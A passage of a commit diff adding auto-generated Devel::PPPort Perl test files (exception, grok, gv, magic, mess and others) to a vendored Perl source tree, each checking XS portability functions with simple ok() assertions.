+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (28) {
+    load();
+    plan(tests => 28);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $package;
+{
+  package MyPackage;
+  $package = &Devel::PPPort::CopSTASHPV();
+}
+print "# $package\n";
+ok($package, "MyPackage");
+
+my $file = &Devel::PPPort::CopFILE();
+print "# $file\n";
+ok($file =~ /cop/i);
+
+BEGIN {
+  if ($] < 5.006000) {
+    # Skip
+    for (1..28) {
+      ok(1, 1);
+    }
+    exit;
+  }
+}
+
+BEGIN {
+    package DB;
+    no strict "refs";
+    local $^P = 1;
+    sub sub { &$DB::sub }
+}
+
+{ package One; sub one { Devel::PPPort::caller_cx($_[0]) } }
+{
+    package Two;
+    sub two { One::one(@_) }
+    sub dbtwo {
+        BEGIN { $^P = 1 }
+        One::one(@_);
+        BEGIN { $^P = 0 }
+    }
+}
+
+for (
+    # This is rather confusing. The package is the package the call is
+    # made *from*, the sub name is the sub the call is made *to*. When
+    # DB::sub is involved the first call is to DB::sub from the calling
+    # package, the second is to the real sub from package DB.
+    [\&One::one, 0, qw/main one main one/],
+    [\&One::one, 2, ],
+    [\&Two::two, 0, qw/Two one Two one/],
+    [\&Two::two, 1, qw/main two main two/],
+    [\&Two::dbtwo, 0, qw/Two sub DB one/],
+    [\&Two::dbtwo, 1, qw/main dbtwo main dbtwo/],
+) {
+    my ($sub, $arg, @want) = @$_;
+    my @got = $sub->($arg);
+    ok(@got, @want);
+    for (0..$#want) {
+        ok($got[$_], $want[$_]);
+    }
+}
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/exception.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/exception.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/exception.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,67 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/exception instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (7) {
+    load();
+    plan(tests => 7);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $rv;
+
+$Devel::PPPort::exception_caught = undef;
+
+$rv = eval { &Devel::PPPort::exception(0) };
+ok($@, '');
+ok(defined $rv);
+ok($rv, 42);
+ok($Devel::PPPort::exception_caught, 0);
+
+$Devel::PPPort::exception_caught = undef;
+
+$rv = eval { &Devel::PPPort::exception(1) };
+ok($@, "boo\n");
+ok(not defined $rv);
+ok($Devel::PPPort::exception_caught, 1);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/format.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/format.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/format.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,55 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/format instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (1) {
+    load();
+    plan(tests => 1);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $num = 1.12345678901234567890;
+
+eval { Devel::PPPort::croak_NVgf($num) };
+ok($@ =~ /^1.1234567890/);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/grok.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/grok.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/grok.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,62 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/grok instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (10) {
+    load();
+    plan(tests => 10);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::grok_number("42"), 42);
+ok(!defined(&Devel::PPPort::grok_number("A")));
+ok(&Devel::PPPort::grok_bin("10000001"), 129);
+ok(&Devel::PPPort::grok_hex("deadbeef"), 0xdeadbeef);
+ok(&Devel::PPPort::grok_oct("377"), 255);
+
+ok(&Devel::PPPort::Perl_grok_number("42"), 42);
+ok(!defined(&Devel::PPPort::Perl_grok_number("A")));
+ok(&Devel::PPPort::Perl_grok_bin("10000001"), 129);
+ok(&Devel::PPPort::Perl_grok_hex("deadbeef"), 0xdeadbeef);
+ok(&Devel::PPPort::Perl_grok_oct("377"), 255);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/gv.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/gv.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/gv.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,63 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/gv instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (7) {
+    load();
+    plan(tests => 7);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::GvSVn(), 1);
+
+ok(Devel::PPPort::isGV_with_GP(), 2);
+
+ok(Devel::PPPort::get_cvn_flags(), 3);
+
+ok(Devel::PPPort::gv_fetchpvn_flags(), \*Devel::PPPort::VERSION);
+
+ok(Devel::PPPort::gv_fetchsv("Devel::PPPort::VERSION"), \*Devel::PPPort::VERSION);
+
+ok(Devel::PPPort::gv_init_type("sanity_check", 0, 0), "*main::sanity_check");
+ok($::{sanity_check});
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/limits.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/limits.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/limits.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,55 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/limits instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (4) {
+    load();
+    plan(tests => 4);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::iv_size());
+ok(&Devel::PPPort::uv_size());
+ok(&Devel::PPPort::iv_type());
+ok(&Devel::PPPort::uv_type());
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/mPUSH.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/mPUSH.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/mPUSH.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,62 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/mPUSH instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (10) {
+    load();
+    plan(tests => 10);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(join(':', &Devel::PPPort::mPUSHs()), "foo:bar:42");
+ok(join(':', &Devel::PPPort::mPUSHp()), "one:two:three");
+ok(join(':', &Devel::PPPort::mPUSHn()), "0.5:-0.25:0.125");
+ok(join(':', &Devel::PPPort::mPUSHi()), "-1:2:-3");
+ok(join(':', &Devel::PPPort::mPUSHu()), "1:2:3");
+
+ok(join(':', &Devel::PPPort::mXPUSHs()), "foo:bar:42");
+ok(join(':', &Devel::PPPort::mXPUSHp()), "one:two:three");
+ok(join(':', &Devel::PPPort::mXPUSHn()), "0.5:-0.25:0.125");
+ok(join(':', &Devel::PPPort::mXPUSHi()), "-1:2:-3");
+ok(join(':', &Devel::PPPort::mXPUSHu()), "1:2:3");
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/magic.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/magic.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/magic.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,120 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/magic instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (23) {
+    load();
+    plan(tests => 23);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+# Find proper magic
+ok(my $obj1 = Devel::PPPort->new_with_mg());
+ok(Devel::PPPort::as_string($obj1), 'hello');
+
+# Find with no magic
+my $obj = bless {}, 'Fake::Class';
+ok(Devel::PPPort::as_string($obj), "Sorry, your princess is in another castle.");
+
+# Find with other magic (not the magic we are looking for)
+ok($obj = Devel::PPPort->new_with_other_mg());
+ok(Devel::PPPort::as_string($obj), "Sorry, your princess is in another castle.");
+
+# Okay, attempt to remove magic that isn't there
+Devel::PPPort::remove_other_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), 'hello');
+
+# Remove magic that IS there
+Devel::PPPort::remove_null_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), "Sorry, your princess is in another castle.");
+
+# Removing when no magic present
+Devel::PPPort::remove_null_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), "Sorry, your princess is in another castle.");
+
+use Tie::Hash;
+my %h;
+tie %h, 'Tie::StdHash';
+$h{foo} = 'foo';
+$h{bar} = '';
+
+&Devel::PPPort::sv_catpv_mg($h{foo}, 'bar');
+ok($h{foo}, 'foobar');
+
+&Devel::PPPort::sv_catpvn_mg($h{bar}, 'baz');
+ok($h{bar}, 'baz');
+
+&Devel::PPPort::sv_catsv_mg($h{foo}, '42');
+ok($h{foo}, 'foobar42');
+
+&Devel::PPPort::sv_setiv_mg($h{bar}, 42);
+ok($h{bar}, 42);
+
+&Devel::PPPort::sv_setnv_mg($h{PI}, 3.14159);
+ok(abs($h{PI} - 3.14159) < 0.01);
+
+&Devel::PPPort::sv_setpv_mg($h{mhx}, 'mhx');
+ok($h{mhx}, 'mhx');
+
+&Devel::PPPort::sv_setpvn_mg($h{mhx}, 'Marcus');
+ok($h{mhx}, 'Marcus');
+
+&Devel::PPPort::sv_setsv_mg($h{sv}, 'SV');
+ok($h{sv}, 'SV');
+
+&Devel::PPPort::sv_setuv_mg($h{sv}, 4711);
+ok($h{sv}, 4711);
+
+&Devel::PPPort::sv_usepvn_mg($h{sv}, 'Perl');
+ok($h{sv}, 'Perl');
+
+# v1 is treated as a bareword in older perls...
+my $ver = do { local $SIG{'__WARN__'} = sub {}; eval qq[v1.2.0] };
+ok($] < 5.009 || $@ eq '');
+ok($] < 5.009 || Devel::PPPort::SvVSTRING_mg($ver));
+ok(!Devel::PPPort::SvVSTRING_mg(4711));
+
+my $foo = 'bar';
+ok(Devel::PPPort::sv_magic_portable($foo));
+ok($foo eq 'bar');
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/memory.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/memory.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/memory.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,52 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/memory instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (1) {
+    load();
+    plan(tests => 1);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::checkmem(), 6);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/mess.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/mess.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/mess.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,284 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/mess instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (93) {
+    load();
+    plan(tests => 93);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+BEGIN { if ($] lt '5.006') { $^W = 0; } }
+
+my $warn;
+my $die;
+local $SIG{__WARN__} = sub { $warn = $_[0] };
+local $SIG{__DIE__} = sub { $die = $_[0] };
+
+my $scalar_ref = \do {my $tmp = 10};
+my $array_ref = [];
+my $hash_ref = {};
+my $obj = bless {}, 'Package';
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xE1\n") };
+ok $@, "\xE1\n";
+ok $die, "\xE1\n";
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv(10) };
+ok $@ =~ /^10 at $0 line /;
+ok $die =~ /^10 at $0 line /;
+
+undef $die;
+$@ = 'should not be visible (1)';
+ok !defined eval {
+    $@ = 'should not be visible (2)';
+    Devel::PPPort::croak_sv('');
+};
+ok $@ =~ /^ at $0 line /;
+ok $die =~ /^ at $0 line /;
+
+undef $die;
+$@ = 'should not be visible';
+ok !defined eval {
+    $@ = 'this must be visible';
+    Devel::PPPort::croak_sv($@)
+};
+ok $@ =~ /^this must be visible at $0 line /;
+ok $die =~ /^this must be visible at $0 line /;
+
+undef $die;
+$@ = 'should not be visible';
+ok !defined eval {
+    $@ = "this must be visible\n";
+    Devel::PPPort::croak_sv($@)
+};
+ok $@, "this must be visible\n";
+ok $die, "this must be visible\n";
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv('') };
+ok $@ =~ /^ at $0 line /;
+ok $die =~ /^ at $0 line /;
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xE1") };
+ok $@ =~ /^\xE1 at $0 line /;
+ok $die =~ /^\xE1 at $0 line /;
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") };
+ok $@ =~ /^\xC3\xA1 at $0 line /;
+ok $die =~ /^\xC3\xA1 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xE1\n");
+ok $warn, "\xE1\n";
+
+undef $warn;
+Devel::PPPort::warn_sv(10);
+ok $warn =~ /^10 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv('');
+ok $warn =~ /^ at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xE1");
+ok $warn =~ /^\xE1 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xC3\xA1");
+ok $warn =~ /^\xC3\xA1 at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xE1\n", 0), "\xE1\n";
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1\n"}, 1), "\xE1\n";
+
+ok Devel::PPPort::mess_sv(10, 0) =~ /^10 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = 10}, 1) =~ /^10 at $0 line /;
+
+ok Devel::PPPort::mess_sv('', 0) =~ /^ at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = ''}, 1) =~ /^ at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xE1", 0) =~ /^\xE1 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1"}, 1) =~ /^\xE1 at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ /^\xC3\xA1 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ /^\xC3\xA1 at $0 line /;
+
+if ($] ge '5.006') {
+    BEGIN { if ($] ge '5.006' && $] lt '5.008') { require utf8; utf8->import(); } }
+
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv("\x{100}\n") };
+    ok $@, "\x{100}\n";
+    if ($] ne '5.008') {
+        ok $die, "\x{100}\n";
+    } else {
+        skip 'skip: broken utf8 support in die hook', 0;
+    }
+
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv("\x{100}") };
+    ok $@ =~ /^\x{100} at $0 line /;
+    if ($] ne '5.008') {
+        ok $die =~ /^\x{100} at $0 line /;
+    } else {
+        skip 'skip: broken utf8 support in die hook', 0;
+    }
+
+    if ($] ne '5.008') {
+        undef $warn;
+        Devel::PPPort::warn_sv("\x{100}\n");
+        ok $warn, "\x{100}\n";
+
+        undef $warn;
+        Devel::PPPort::warn_sv("\x{100}");
+        ok (my $tmp = $warn) =~ /^\x{100} at $0 line /;
+    } else {
+        skip 'skip: broken utf8 support in warn hook', 0 for 1..2;
+    }
+
+    ok Devel::PPPort::mess_sv("\x{100}\n", 0), "\x{100}\n";
+    ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}\n"}, 1), "\x{100}\n";
+
+    ok Devel::PPPort::mess_sv("\x{100}", 0) =~ /^\x{100} at $0 line /;
+    ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}"}, 1) =~ /^\x{100} at $0 line /;
+} else {
+    skip 'skip: no utf8 support', 0 for 1..12;
+}
+
+if (ord('A') != 65) {
+    skip 'skip: no ASCII support', 0 for 1..24;
+} elsif ($] ge '5.008' && $] ne '5.012000') {
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}\n"') };
+    ok $@, "\xE1\n";
+    ok $die, "\xE1\n";
+
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}"') };
+    ok $@ =~ /^\xE1 at $0 line /;
+    ok $die =~ /^\xE1 at $0 line /;
+
+    {
+        undef $die;
+        my $expect = eval '"\N{U+C3}\N{U+A1}\n"';
+        ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1\n") };
+        ok $@, $expect;
+        ok $die, $expect;
+    }
+
+    {
+        undef $die;
+        my $expect = eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+        ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") };
+        ok $@ =~ $expect;
+        ok $die =~ $expect;
+    }
+
+    undef $warn;
+    Devel::PPPort::warn_sv(eval '"\N{U+E1}\n"');
+    ok $warn, "\xE1\n";
+
+    undef $warn;
+    Devel::PPPort::warn_sv(eval '"\N{U+E1}"');
+    ok $warn =~ /^\xE1 at $0 line /;
+
+    undef $warn;
+    Devel::PPPort::warn_sv("\xC3\xA1\n");
+    ok $warn, eval '"\N{U+C3}\N{U+A1}\n"';
+
+    undef $warn;
+    Devel::PPPort::warn_sv("\xC3\xA1");
+    ok $warn =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+
+    ok Devel::PPPort::mess_sv(eval('"\N{U+E1}\n"'), 0), eval '"\N{U+E1}\n"';
+    ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}\n"'}, 1), eval '"\N{U+E1}\n"';
+
+    ok Devel::PPPort::mess_sv(eval('"\N{U+E1}"'), 0) =~ eval 'qr/^\N{U+E1} at $0 line /';
+    ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}"'}, 1) =~ eval 'qr/^\N{U+E1} at $0 line /';
+
+    ok Devel::PPPort::mess_sv("\xC3\xA1\n", 0), eval '"\N{U+C3}\N{U+A1}\n"';
+    ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1\n"}, 1), eval '"\N{U+C3}\N{U+A1}\n"';
+
+    ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+    ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+} else {
+    skip 'skip: no support for \N{U+..} syntax', 0 for 1..24;
+}
+
+if ($] ge '5.007003' or ($] ge '5.006001' and $] lt '5.007')) {
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv($scalar_ref) };
+    ok $@ == $scalar_ref;
+    ok $die == $scalar_ref;
+
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv($array_ref) };
+    ok $@ == $array_ref;
+    ok $die == $array_ref;
+
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv($hash_ref) };
+    ok $@ == $hash_ref;
+    ok $die == $hash_ref;
+
+    undef $die;
+    ok !defined eval { Devel::PPPort::croak_sv($obj) };
+    ok $@ == $obj;
+    ok $die == $obj;
+} else {
+    skip 'skip: no support for exceptions', 0 for 1..12;
+}
+
+ok !defined eval { Devel::PPPort::croak_no_modify() };
+ok $@ =~ /^Modification of a read-only value attempted at $0 line /;
+
+ok !defined eval { Devel::PPPort::croak_memory_wrap() };
+ok $@ =~ /^panic: memory wrap at $0 line /;
+
+ok !defined eval { Devel::PPPort::croak_xs_usage("params") };
+ok $@ =~ /^Usage: Devel::PPPort::croak_xs_usage\(params\) at $0 line /;
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/misc.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/misc.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/misc.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,157 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/misc instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (48) {
+    load();
+    plan(tests => 48);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
